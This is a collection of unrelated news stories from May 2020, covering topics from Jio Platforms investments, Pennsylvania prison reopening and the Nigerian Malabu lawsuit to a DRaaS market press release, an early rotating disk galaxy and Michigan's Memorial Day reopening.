US private equity firm Silver Lake said on May 4 it will invest Rs 5,655.75 crore in Jio Platforms for a 1.15% stake.



Vista Equity Partners said on May 8 it will be picking up a 2.32% stake for Rs 11,367 crore.



General Atlantic had said on May 18 it will buy 1.34% stake in Jio Platforms for Rs 6,598.38 crore.
G ood Morning Britain presenter Ben Shephard has updated viewers on the condition of co-host Kate Garraways husband Derek Draper.

Garraway, 53, has been absent while her husband of 15 years has been fighting for his life in intensive care.

The presenter regularly updates fans on Draper's progress each Thursday and Shephard, 45, read her emotional note out during this morning's GMB.

His voice wobbling slightly, Shephard told how Garraway was learning new and devastating ways this virus has more battles for Derek to fight.

Kate has thanked everyone for all the extraordinary messages which she does enjoy reading, he said.

His co-host Charlotte Hawkins added: Shes still going through such an awful time. Our hearts go out to her and the whole family.

It is nice to see she had a little smile on her face. Everybodys got their fingers crossed, everybody is sending so much love.

Garraway's husband has been in intensive care since March / SplashNews.com

Theyre all in our thoughts and prayers at the moment and were keeping everything crossed as we say that Derek will pull through and everything will be okay.

Last night, Garraway shared a video of herself and her children Darcey, 14, and her son William, 10, taking part in the weekly Clap For Carers on Thursdays at 8pm.

I didnt even know Darcey had bought this t-shirt online (with my card!) until she emerged tonight but I do know how grateful she is to the NHS, she wrote.

Celebrities make a show of thanks for frontline NHS key workers 1 /9 Celebrities make a show of thanks for frontline NHS key workers Daniel Craig and Phoebe Waller-Bridge were among stars featuring in celebrity show of thanks to the NHS NHS/Twitter PA PA PA PA PA Fleabag's Phoebe Waller-Bridge was among stars who join in a show of thanks for NHS workers on the frontline of the Covid-19 crisis NHS/Twitter

I couldnt be prouder of how she and Billy have coped with these past 2 horrific months for our family - always finding ways of lifting our spirits and staying strong even when they can see me wobbling.

Garraway also expressed how grateful she was to frontline workers who were also suffering as they treated those suffering.

The physical and mental scars will run deep and so we need to stick together far beyond the end of lockdown, she added.

Good Morning Britain continues weekdays from 6am on ITV.
Pennsylvania state prisons will start allowing more inmate movement, based on a color-coded system similar to that used to reopen counties following the statewide coronavirus shutdown, officials announced Friday.

The five-level system from run from level 5 as the most restrictive to level 1 as the least restrictive. A detailed chart explaining the levels can be found at cor.pa.gov.

As counties move from red, yellow and green, state prisons within those counties will be gradually increasing the number of inmates allowed out of their cells at a time. Programs and religious services will transition from being cell-based to smaller in-person groups.

Currently, inmates are receiving no more than two hours out of their cells, Department of Corrections Secretary John Wetzel said.

Folks are tired of being locked down, and I think that translates to our prisons, he said.

Moving a state prison to a lower level will depend on whether there are any new confirmed COVID-19 positive cases among staff or inmates.

On Tuesday, the following facilities will move to Level 4: Camp Hill, Chester, Coal Township, Dallas, Frackville, Huntingdon, Mahanoy, Phoenix, Retreat, Smithfield and Waymart.

That same day, these facilities will move to Level 3: Albion, Benner Township, Cambridge Springs, Fayette, Forest, Greene, Houtzdale, Laurel Highlands, Mercer, Muncy, Pine Grove, Quehanna, Rockview and Somerset.

Five facilities have at least one positive COVID-19 case, Wetzel said on Friday.

In-person visits will not resume until the entire state is in the green phase.

Some sort of video visitation is here to stay, he said, later adding, Its going to be a long path to normal.

He described the recent COVID-19 outbreak at SCI Huntington in central Pennsylvania.

Officials believe three staff members from the community brought the virus into the prison, and that food service was the nexus for transmission to inmates.

The high-density prison, which includes 500-person housing units, has barred living spaces, instead of the newer solid doors with small windows.

We saw a very quick spread, he said. By the time inmates were symptomatic, the disease was spreading.

It was a full community spread at the prison, and there were about 100 to 125 cases. The prisons gym was used as an infirmary.

It was a difficult three weeks," Wetzel said, adding there are 31 active cases currently at the prison. Were definitely on the downside.

Huntington will increase out-of-cell times for inmates, but probably slower than other prisons

Wetzel said that enhanced screening will continue, and that both staff and inmates will be required to wear masks.

Were testing everybody who is transferring (into state prisons) and everybody who is being released, he said. Prison officials are testing inmates two weeks before scheduled releases, in case they are positive so they can be quarantined before being safely released into the community.

Reducing prison populations is affected by a number of factors: Arrests are down across the state, county court systems have slowed work so sentencings have declined, and the state began an early release reprieve program.

Wetzel said about 151 people have been released early as part of the pandemic move.

Prison officials expected about 1,700 to 1,800 inmates would be eligible given the program criteria, but the real-world application dropped those figures down to 1,250.

The rest of the review ended up being more complicated, he said. That included a 10-year look-back for violent crimes, and inmates with registered victims.

It was definitely strict, Wetzel added.

About 400 inmates were ineligible for multiple reasons; about 76 were burglary cases, a charge that ended up being a gray area" for consideration"; 80 people were denied, and 69 cases were held under advisement and are awaiting things like a parole action plan, he said.

Its critical if they have a parole hearing, Wetzel said of accepted inmates.

Other hopefuls are within weeks of a standard release, and officials were hesitant to grant them reprieve because it is uncertain if the inmates will eventually need to report back to prison.

About 20 inmates refused to be reprieved because they didnt want to have to come back, Wetzel said.

Department officials are drafting re-entry and parole supervision demobilization plans and expect to finalize them in June.

Please subscribe now and support the local journalism YOU rely on and trust.

Sarah Cassi may be reached at scassi@lehighvalleylive.com.
Park Woo-joo, left, and Yoo Ji-hyun speak during their YouTube broadcast. / Captured from YouTube



By Jun Ji-hye



A young married couple, who had run a private education institute in Seoul, decided to become farmers in 2018 in a bid to seek greater pleasure and excitement in life.



Park Woo-joo and Yoo Ji-hyun, both 30 years old, moved to Cheongyang in South Chungcheong Province in that year, and began growing chili peppers and goji berries, among others.



The couple has become especially popular among those who are thinking about leaving the city to go back to farming, after starting a YouTube channel called "Chamdong TV" in May last year.



For the past year, the couple has posted more than 90 video clips on YouTube, with the hits having surpassed 2.8 million. The number of subscribers has reached 20,000.



Their video clips showed content such as how to grow food crops, how to operate agricultural machinery and how to look for a house in the countryside.



The couple also delivered other useful information such as policies implemented by Cheongyang County for those who move to the region to become farmers.



On the back of the popularity of their YouTube channel, the couple sold all the chili peppers and goji berries they harvested last year mostly through direct dealing with viewers.



"We have been frequently filming videos while applying fertilizer to the field or spraying plants with agrichemicals," Yoo said. "We have posted videos almost every day as if we were keeping a diary. And then, we became popular before we even knew it."





Park Woo-joo and Yoo Ji-hyun film a video to be uploaded on their YouTube channel. / Cheongyang County Office
You drop off the kolacky. Someone takes the box upstairs to your mom. You walk out on the lawn, so she can see you from her window. You talk on the phone. You can see her smiling and waving up there. You smile and wave too.
Metro Manila (CNN Philippines, May 22)-- The Bureau of Immigration has charged deportation case to a Spanish national accused of violating quarantine measures in Makati City, it said on Friday.

BI Commissioner Jaime Morente said in a statement that the bureau came out with such conclusion after an investigation which showed that Spanish national Javier Parra Salvador has been overstaying in the country after failing to extend his visa. Moreover, he is also considered an undesirable alien since he blatantly disregarded laws and disrespected persons of authority.

Upon investigation by our intelligence division, it was confirmed that he has failed to extend and has already overstayed his visa, Morente said.

Foreign nationals who are here in the country are expected to follow Philippine laws, especially in these special times wherein public health and safety is at risk, he added.

Salvador went viral late April after almost being arrested by Police Senior Master Sergeant Poland Von Madrona on an alleged violation of the citys quarantine rules. The confrontation sparked after Salvadors househelp was caught by the officer not wearing facemask while watering plants outside his house during his patrol in Dasmarinas Village.

A video showed how a confrontation went between Salvador and the officer, with the former ordering him to leave his home, while his wife tries to pacify him. The same video also showed Madrona telling Salvador that he was just implementing protocols.

Morente said that the deportation case is separate from criminal charges filed by the police against Salvador.

Madrona filed direct assault, resistance and disobedience to a person of authority, and unjust vexation against the Spanish national. He is also facing violation of the Bayanihan to Heal As One Act for failure to wear face mask in public.

The BI said Salvador also refused to submit a counter-affidavit to answer the reports against him, which was due last May 21.

Our offices remained open to receive his response, but he failed to submit any, Morente said, adding that they will pursue the case to serve as warning for foreigners disregarding the countrys laws.
Community Radio stations could soon get to air advertisements for 12 minutes every hour like TV channels to make this vital segment more self-sufficient, Information and Broadcasting minister Prakash Javadekar said on Friday.

The minister said this as he simultaneously addressed the nearly 300 community radio stations that are functional across the country.

Javadekar said he was eager to increase the air time for advertisements to 12 minutes from 7 minutes on community radios currently to bring them at par with TV channels.

While 75% of the expenditure during setting-up of community radio stations is borne by the ministry and that comprises a major expenditure, daily operations cost is borne by the stations. The minister pointed out that there would not be the need for community radio stations to seek funds if more local advertisements can be relayed on these platforms.

Terming community radio stations as agents of change, Javadekar said they reached out to millions every day, and the I&B ministry will come out with a plan to increase their numbers.

Exhorting people to keep up their fight against coronavirus, the minister said that we will drive it away the way we have driven away other diseases.

However, he highlighted the new normal - one that consists of 4 steps - staying at home as much as possible, frequent washing of hands, wearing face masks in public and social distancing.

The minister reiterated the mantra of Jaan Bhi Jahaan Bhi and said that while restrictions are continuing in the containment zones, economic activities are starting up in green zones.

The minister also touched upon the key demand of community radio of permission to broadcast news. He assured that he will consider allowing news broadcast on community radio the same way it is done on FM channels.

Community radio stations work in an area of 10-15 kilometers and cater to the local audiences. Many such channels are operating in the interior and remote parts of the country.

He prodded such stations to play a key role in combating fake news menace. He added that the ministry has created a fact check cell under PIB and the community Radio can complement the role of fact check cell.
Nigeria suffered a setback in its pursuit of justice over the controversial Malabu deal as a London judge ruled Friday that the $1 billion suit against oil giants Shell and Eni could not go ahead in England.

According to Law360.com, High Court Judge Christopher Butcher said the courts do not have jurisdiction to hear the claim.

In his written decision, the judge said the English case has both the same essential facts and parties as a parallel proceeding in Italy also brought by the Nigerian government over the Malabu deal.

PREMIUM TIMES earlier reported how both oil giants argued to stop or stay proceedings in the $1 billion lawsuit brought by the Federal Republic of Nigeria (FRN).

Virtual hearings in the case took place last month, during which the companies argued to halt the $1 billion English suit as duplicating the ongoing criminal trial and parallel civil claim being brought by Nigeria in Italy over the controversial OPL 245. https://www.premiumtimesng.com/news/headlines/390825-malabu-scandal-shell-eni-seek-to-stop-nigeria-in-1-billion-uk-lawsuit.html

The defendants  Eni, Shell and others  asked for the court to decline jurisdiction under article 29 of the recast Brussels Regulation, as the Italian case against the companies is still ongoing.

In March, PREMIUM TIMES reported how the Nigerian government lost out in its bid to postpone the massive claim against the oil giants, Eni and Shell, in a London court. Mark Pelling, a judge at the London court, ruled that it should not wait for a connected Italian ruling.

Nigeria wanted the April court date postponed until January 2021, when a connected criminal case in Milan is expected to have concluded.

The oil companies and former and current executives face corruption charges linked to the Malabu scandal, a 2011 deal involving a Nigerian oil block known as OPL 245.

Officials affected in the scandal have denied wrongdoing.

A three-day hearing was held over the case in April.

Hearing

On the first day of the hearing in April, Richard Handyside, acting for Eni, outlined the similarities between the Italian criminal charges and civil claim based on international bribery charges and the English claim based on allegations of bribery, dishonest assistance and conspiracy.

Enis lawyer noted that the companies have made no profit on the deal as the FRN has declined to grant a mining license without which no oil can be produced and no profits made. He argued further that the FRN has brought two duplicative claims in Italy and England within months of each other and that the FRN acknowledged that they might have to choose between them down the road. They were hoping to have a one way bet, according to Eni.

Eni argued that Nigeria is wrong to say the Italian claim is different because the Public Prosecutor of Milan (PPM) is involved, adding that the PPM is not involved in civil claim in Italy and the FRN is the sole plaintiff for harms suffered as an injured person. The FRNs point that the Milanese prosecutor could chose to end the case in Italy whenever they want, without the FRN having a say in that scenario, is not relevant, the lawyer added.

After a short break, Enis lawyer resumed to argue that while the FRN is asking the court to rescind the 2011 deal for the license, neither the company nor Shell were parties to the contract because their subsidiaries were. The oil giant argued further that President Muhammadu Buhari has ruled against issuance of licence.

Speaking on behalf of Shell on the second day of the trial, Peter Goldsmith argued that the FRN failed to bring the contents of two 2012 reports by the Economic and Financial Crime Commission (EFCC) to the attention of the judge who oversaw their application.

Mr Goldsmith explained that Nigeria has not presented evidence of what it knew about the EFCC 2012 reports. Shell is alleging that the FRN failed to give Justice Cockerill full and frank disclosure when she was asked to give them permission to serve out of jurisdiction. Shell argued that the FRN should have fairly presented the potential defence and evidence that the FRN did know about wrongdoing earlier.

The lawyer, on behalf of Shell, claimed that the FRN seriously misled Justice Cockerill by saying that evidence of alleged wrongdoing in the OPL 245 did not become apparent until it came out of the Italian investigation. According to him, it took many weeks of chasing for the FRN to disclose the EFCC reports with little explanation of why the FRN failed to inquire into the existence of these reports earlier, adding that responses to Shells letters on the EFCC report were evasive.

FRNs lawyer, Roger Masefield, responding to the allegation by Shell that they did not make full and frank disclosure, argued that Shells serious allegation is in danger of Island hopping, skipping over the FRNs submission without context.

Mr Masefield explained that the court was told that in 2012 the EFCC was investigating, was told about the House of Representatives investigation, but the alleged wrongdoers were in control of the FRN at the time, so time should not run on limitation at that time. The EFCC discovery in 2012 is irrelevant because the wrongdoers were in control of the Nigerian government in 2015, he said. He explained further that the FRN also did not have enough credible evidence to plead the claim of fraud at that time.

On the third and final day of hearing, Mr Masefield resumed addressing the defendants argument that the FRN didnt make a fair presentation to the court in the hearing with notice before Justice Cockerill, adding that the evidence from the Italian investigation was very different to the EFCC 2012 probe.

The lawyer said that it would be unfair to read one line from the FRNs solicitors witness statement out of context, instead he did flag to the court a few lines earlier that the EFCC had begun investigations. He then said it was in the Italian investigation that the scheme emerged.

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Mr Masefield explained that the FRNs solicitor, Mr Cary, did set out the evidence emerging from the Italian investigation into the OPL 245 deal with FBI interviews with participants in the deal, money flows, wiretaps, evidence of a kickback scheme etc. The lawyer said that Mr Cary explained that it was only with this new credible evidence that the scheme was revealed involving alleged bribes to then current Nigerian public officials including Messrs Jonathan and Adoke, ex-petroleum minister Diezani Alison-Madueke and a retired general, Aliyu Gusau.

The lawyer said that there was certainly no material misrepresentation, that they did raise the time limitation defence about when the FRN had reason to know about the alleged fraud and wrongdoers in control point which would have to be decided at trial.

Mr Masefield argued further that the money flows to Aliyu Abubakar and cash could not prove that bribes were going to Goodluck Jonathan, at most it could have been understood that Dan Etete, a convicted money launderer, was trying to launder money from the deal. He explained that the 2012 investigation was not into Shell and Eni or what they may have known about bribes, so there was no way the FRN could have argued a case against them at that time.

According to him, the EFCCs knowledge in 2012 would not have been sufficient to argue there was this case of fraud, adding that the FRN legal team strongly disputes any allegation that they deliberately withheld the 2012 EFCC reports.

Scandal

The controversial Malabu deal was struck in 2011 under former President Goodluck Jonathan. The arrangement saw the Nigerian government stand as a negotiator in the controversial sale of the oil block in offshore Nigerian waters.

Two international oil firms, Shell and Eni, paid out about $1.1 billion to Nigerian government accounts in the UK which then transferred most of the money to Malabu, a company then controlled by Nigerias former petroleum minister, Dan Etete.

It was Mr Etetes Malabu that transferred the over $500 million to accounts controlled by Abubakar Aiyu, who is also being prosecuted in Nigeria for his role in the scandal.

The payout immediately became a subject of cross-border investigation spanning over six countries. Several Nigerian government officials were believed to have received several millions of dollars in bribes for the enabling roles they played.

A larger trial including Shell, Eni and 13 other defendants is ongoing in Italy.

The London claim centers on the licensing rights for OPL 245 block, for which the oil majors purchased extraction rights in 2011. It is alleged that most of the $1.1 billion was used for bribes and kickbacks to government officials.

Nigerian officials involved in the alleged scheme have all denied wrongdoing.
[May 22, 2020] Research Report with COVID-19 Forecasts - Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024 | Improved Manageability and Protection to Boost Growth | Technavio

Technavio has been monitoring the disaster recovery-as-a-service (DRaaS) market and it is poised to grow by USD 27.44 billion during 2020-2024, progressing at a CAGR of over 43% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005296/en/ Technavio has announced its latest market research report titled Global Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Amazon.com Inc., Broadcom (News - Alert) Inc., Cisco Systems Inc., Dell Technologies Inc., iland Internet Solutions, International Business Machines Corp., Microsoft Corp., NTT Communications Corp., Oracle (News - Alert) Corp., and Sungard Availability Services LP are some of the major market participants. The improved manageability and protection will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Improved manageability and protection has been instrumental in driving the growth of the market. Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024: Segmentation Disaster Recovery-as-a-Service (DRaaS) Market is segmented as below: Deployment Public Cloud Private Cloud Hybrid Cloud

Geography North America Europe APAC South America MEA

To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43407



Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our disaster recovery-as-a-service (DRaaS) market report covers the following areas:

Disaster Recovery-as-a-Service (DRaaS) Market Size

Disaster Recovery-as-a-Service (DRaaS) Market Trends

Disaster Recovery-as-a-Service (DRaaS) Market Industry Analysis This study identifies the increasing adoption of cloud-based disaster recovery solutions as one of the prime reasons driving the disaster recovery-as-a-service (DRaaS) market growth during the next few years. Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the disaster recovery-as-a-service (DRaaS) market, including some of the vendors such as Amazon.com (News - Alert) Inc., Broadcom Inc., Cisco Systems Inc., Dell Technologies Inc., iland Internet Solutions, International Business Machines Corp., Microsoft Corp., NTT Communications (News - Alert) Corp., Oracle Corp., and Sungard Availability Services LP. Backed with competitive intelligence and benchmarking, our research reports on the disaster recovery-as-a-service (DRaaS) market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Disaster Recovery-as-a-Service (DRaaS) Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist disaster recovery-as-a-service (DRaaS) market growth during the next five years

Estimation of the disaster recovery-as-a-service (DRaaS) market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the disaster recovery-as-a-service (DRaaS) market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of disaster recovery-as-a-service (DRaaS) market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem

Value chain analysis Market Sizing Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 - 2024 Five Forces Analysis Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition Market Segmentation by Deployment Market segments

Comparison by Deployment

Public cloud - Market size and forecast 2019-2024

Private cloud - Market size and forecast 2019-2024

Hybrid cloud - Market size and forecast 2019-2024

Market opportunity by Deployment Customer Landscape Geographic Landscape Geographic segmentation

Geographic comparison

North America - Market size and forecast 2019-2024

Europe - Market size and forecast 2019-2024

APAC - Market size and forecast 2019-2024

South America - Market size and forecast 2019-2024

MEA - Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography Market Drivers Market Challenges Market Trends Vendor Landscape Vendor landscape

Landscape disruption Vendor Analysis Vendors covered

Market positioning of vendors

Amazon.com Inc.

Broadcom Inc.

Cisco Systems Inc.

Dell Technologies Inc.

iland Internet Solutions (News - Alert)

International Business Machines Corp.

Microsoft Corp.

NTT Communications Corp.

Oracle Corp.

Sungard Availability Services LP Appendix Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005296/en/

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BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - French stocks were moving lower on Friday as Hong Kong's political unrest returned as a flashpoint in fast-deteriorating U.S.-China relations. After China moved to strengthen control over Hong Kong with new security laws, U.S. President Donald Trump warned that Washington would react 'very strongly' if Beijing follows through on its plans. Meanwhile, adding to concerns about a deep economic slump, the Chinese government has abandoned its decades-long practice of setting an annual target for economic growth, citing great uncertainty caused by the coronavirus pandemic. The benchmark CAC 40 was down 24 points, or 0.54 percent, at 4,421 after declining 1.2 percent on Thursday. Luxury goods makers that rely on China and Hong Kong for a chunk of sales were among the prominent decliners. LVMH dropped 1.4 percent and Kering gave up 1 percent. Renault fell nearly 2 percent. The automaker could disappear if it does not get help very soon to cope with the coronavirus pandemic fallout, France's Finance Minister Bruno Le Maire said on Friday. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Artist impression of the Wolfe Disk, a massive rotating disk galaxy in the early, dusty universe. The galaxy was initially discovered when ALMA examined the light from a more distant quasar (top left). Credit: NRAO/AUI/NSF, S. Dagnello

In our 13.8 billion-year-old universe, most galaxies like our Milky Way form gradually, reaching their large mass relatively late.

But a new discovery made with the Atacama Large Millimeter/submillimeter Array (ALMA) of a massive rotating disk galaxy, seen when the universe was only ten percent of its current age, challenges the traditional models of galaxy formation. This research appears on 20 May 2020 in the journal Nature.

Galaxy DLA0817g, nicknamed the Wolfe Disk after the late astronomer Arthur M. Wolfe, is the most distant rotating disk galaxy ever observed. The unparalleled power of ALMA made it possible to see this galaxy spinning at 170 miles (272 kilometers) per second, similar to our Milky Way.

"While previous studies hinted at the existence of these early rotating gas-rich disk galaxies, thanks to ALMA we now have unambiguous evidence that they occur as early as 1.5 billion years after the Big Bang," said lead author Marcel Neeleman of the Max Planck Institute for Astronomy in Heidelberg, Germany.

How did the Wolfe Disk form?

The discovery of the Wolfe Disk provides a challenge for many galaxy formation simulations, which predict that massive galaxies at this point in the evolution of the cosmos grew through many mergers of smaller galaxies and hot clumps of gas.

"Most galaxies that we find early in the universe look like train wrecks because they underwent consistent and often 'violent' merging," explained Neeleman. "These hot mergers make it difficult to form well-ordered, cold rotating disks like we observe in our present universe."

In most galaxy formation scenarios, galaxies only start to show a well-formed disk around 6 billion years after the Big Bang. The fact that the astronomers found such a disk galaxy when the universe was only ten percent of its current age, indicates that other growth processes must have dominated.

"We think the Wolfe Disk has grown primarily through the steady accretion of cold gas," said J. Xavier Prochaska, of the University of California, Santa Cruz and coauthor of the paper. "Still, one of the questions that remains is how to assemble such a large gas mass while maintaining a relatively stable, rotating disk."

Star formation

The team also used the National Science Foundation's Karl G. Jansky Very Large Array (VLA) and the NASA/ESA Hubble Space Telescope to learn more about star formation in the Wolfe Disk. In radio wavelengths, ALMA looked at the galaxy's movements and mass of atomic gas and dust while the VLA measured the amount of molecular mass - the fuel for star formation. In UV-light, Hubble observed massive stars. "The star formation rate in the Wolfe Disk is at least ten times higher than in our own galaxy," explained Prochaska. "It must be one of the most productive disk galaxies in the early universe."

A 'normal' galaxy

The Wolfe Disk was first discovered by ALMA in 2017. Neeleman and his team found the galaxy when they examined the light from a more distant quasar. The light from the quasar was absorbed as it passed through a massive reservoir of hydrogen gas surrounding the galaxy - which is how it revealed itself. Rather than looking for direct light from extremely bright, but more rare galaxies, astronomers used this 'absorption' method to find fainter, and more 'normal' galaxies in the early universe.

"The fact that we found the Wolfe Disk using this method, tells us that it belongs to the normal population of galaxies present at early times," said Neeleman. "When our newest observations with ALMA surprisingly showed that it is rotating, we realized that early rotating disk galaxies are not as rare as we thought and that there should be a lot more of them out there."

"This observation epitomizes how our understanding of the universe is enhanced with the advanced sensitivity that ALMA brings to radio astronomy," said Joe Pesce, astronomy program director at the National Science Foundation, which funds the telescope. "ALMA allows us to make new, unexpected findings with almost every observation."

###

The National Radio Astronomy Observatory is a facility of the National Science Foundation, operated under cooperative agreement by Associated Universities, Inc.

This research was presented in a paper titled "A Cold, Massive, Rotating Disk 1.5 Billion Years after the Big Bang," by Marcel Neeleman & J. Xavier Prochaska, et al., appearing in the journal Nature. DOI: 10.1038/s41586-020-2276-y

The Atacama Large Millimeter/submillimeter Array (ALMA), an international astronomy facility, is a partnership of the European Organisation for Astronomical Research in the Southern Hemisphere (ESO), the U.S. National Science Foundation (NSF) and the National Institutes of Natural Sciences (NINS) of Japan in cooperation with the Republic of Chile. ALMA is funded by ESO on behalf of its Member States, by NSF in cooperation with the National Research Council of Canada (NRC) and the Ministry of Science and Technology (MOST) and by NINS in cooperation with the Academia Sinica (AS) in Taiwan and the Korea Astronomy and Space Science Institute (KASI).

ALMA construction and operations are led by ESO on behalf of its Member States; by the National Radio Astronomy Observatory (NRAO), managed by Associated Universities, Inc. (AUI), on behalf of North America; and by the National Astronomical Observatory of Japan (NAOJ) on behalf of East Asia. The Joint ALMA Observatory (JAO) provides the unified leadership and management of the construction, commissioning and operation of ALMA.

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Over a hundred parents gathered outside St Xaviers Senior Secondary School in Sector 44 to protest against collection of fee amid the Covid-19 lockdown by the school authorities. Protesting parents said the school had no right to charge fee when it was not taking any online classes during the lockdown.

One of the parents had on Thursday filed a formal complaint with the UT education department against the school.

Parents protesting outside the school said they wanted to give a signed undertaking to the school authorities, but they refused to receive it.

They alleged,Instead of listening to our demands, the school authorities called in police. It was only later that the school authorities let two parents meet the principal. However, they still they didnt take the list of demands from us.

Meanwhile, refuting parents allegations regarding overcharging fee from students, Naresh Handa, assistant director of the school, said, The parents claims that the school has increased the fee and is charging development fee and computer fee, along with the tuition fee, are completely false.

There is only 8% increase in fee as permitted by the law. We have the most genuine fee structure in Chandigarh and we give the best salaries to our staff as well, added Handa.
Germany's Foreign Minister Heiko Maas urged Washington to reconsider its decision to withdraw from the Open Skies Treaty.

"I deeply regret the announcement," Maas said, adding that "we will work with our partners to urge the U.S. to consider its decision".

He noted that Germany, France, Poland and Britain had repeatedly explained to the U.S. that the problems with the Russians in recent years "did not justify" pulling out.



The treaty "contributes to security and peace in almost all of the northern hemisphere," the AFP cited Maas as saying.

"We will continue implementing the treaty and do everything to preserve it," Maas said, adding he was coordinating closely with his European colleagues.
Margot Robbie and Scarlett Johansson are reportedly feuding. The two blondes are allegedly hard at the battle over one very iconic role, and neither is wanting to give way to the other.

The role is Tinkerbell.

Scarlett and Margot may have the same hair color, but the similarities stop there. Johansson has been in the industry for years, but this does not mean she's a better actress. Margot Robbie started at a small screen and became a household name when she appeared on several hit blockbuster films.

That said, they are both equally good actresses. According to Star, this is why they are presently fighting each other. Both are wanting to showcase their acting skills in the upcoming Disney film "Peter Pan and Wendy," but of course, only one between them can get the role each of them has been wanting - Tinkerbell.

Sources claim that the battle is no joke and it fact getting ugly.

"Margot's the hot favourite, but that hasn't stopped Scarlett from pitching herself hard," an insider revealed to the American publication. "She thinks she's perfect for the job and won't give it to Margot without a fight."

This is not the first time that two have gone against each other for a role, though. With their semblance of each other and high-caliber acting, it is not surprising that they are often the contenders for certain roles or applicants of the same job.

Between Scarlett Johansson and Margot Robbie, both can certainly hold their own.

Recently, Robbie revealed the poignant moment where she realized that she is finally successful in Hollywood. Speaking on a Facebook live stream as she made a virtual visit to the Queensland Children's hospital, she shared that she only realized that she has penetrated Hollywood and now a big star when she saw her giant billboard in Times Square in New York.

She first rose to fame in her hometown, which is in Australia. Her first show was for the Channel 10 soap opera, "Neighbors."

Between 2008 and 2011, she played the role of Donna Freedman. Making it in Hollywood was not easy.

When her Australian show was wrapped up, she went to the US and was given a break in the ABC Drama Pan Am. Unfortunately, the show was canceled just after one season.

She persevered though and landed her biggest break in 2013 when she was given the chance to star opposite Leonardo DiCaprio in "The Wolf of Wall Street."

She now has her iconic roles in "Suicide Squad' and "Bombshell" under her belt. AT the same time, apart from being a big Hollywood star, she is aslo a producer. She and her husband own a production company called LuckyChap.

Meanwhile, Scarlett Johansson no longer requires an introduction. Many know her portfolio of work. Most recently, she has been cast to play the lead character in "Black Widow." She also told Parade that people would not be disappointed with how much heavier this movie is compared to other movies in the Marvel Cinematic Universe.

READ MORE: Larsa Pippen Secret: Quarantine Bikini Queen Makes This Shocking Revelation
MANISTEE COUNTY  As restrictions ease across some parts of northern Michigan, local businesses are expecting to see an influx of customers as Michiganders head up north this weekend.

Traditionally, Memorial Day signifies the start of summer tourism season in Manistee County, but as the coronavirus pandemic stretches into summer, many feared that vacationers  and their money  would remain downstate and under quarantine.

While the states stay home order has been in effect since March 24, Gov. Gretchen Whitmer announced Monday that certain businesses could reopen in 17 counties in the northern Lower Peninsula  including Manistee  starting May 22.

Some regions of the state have just not been hit as hard by COVID-19, and they are in a better position to begin phasing in sectors of their economy, Whitmer said during her Monday news conference.

Whitmers announcement came as a relief to Dani McFadden, co-owner of Billy Ray and Dani Lees Redneck Yacht Club in Wellston, which reopened to inside diners Friday.

We opened our doors and within an hour we had people starting to flood in, McFadden said. Its unfortunate that surrounding bars in other counties were unable to open and I feel bad for them, and it adds more to our shoulders because were able to (open).

Like many local bars and restaurants, the Redneck Yacht Club has struggled during the pandemic.

I lost a lot of income, McFadden said, adding that half of her restaurants staff had already been laid off.

Donna Ervin, owner of the Glenwood in Onekama, said the restaurant would also reopen inside dining to patrons ahead of Memorial Day weekend.

We cant wait to see our customers enjoying the dining area, said Ervin. We want to ensure our customers have a consistently excellent dining experience that also provides the assurance were following guidelines to prevent COVID-19 exposure.

While most northern Michigan counties have begun to partially reopen, the statewide stay-home order remains in effect and was extended through June 12, also keeping closed theaters, gyms and other places of public accommodation at least until that time.

She also extended her emergency declaration through June 19.

Whitmer cautioned people to think long and hard this Memorial Day Weekend before traveling from areas impacted by coronavirus.

Nonessential trips  including vacation travel  remains prohibited under the stay-home order. Despite this, bumper-to-bumper traffic has been reported on northbound thoroughfares such as I-75.

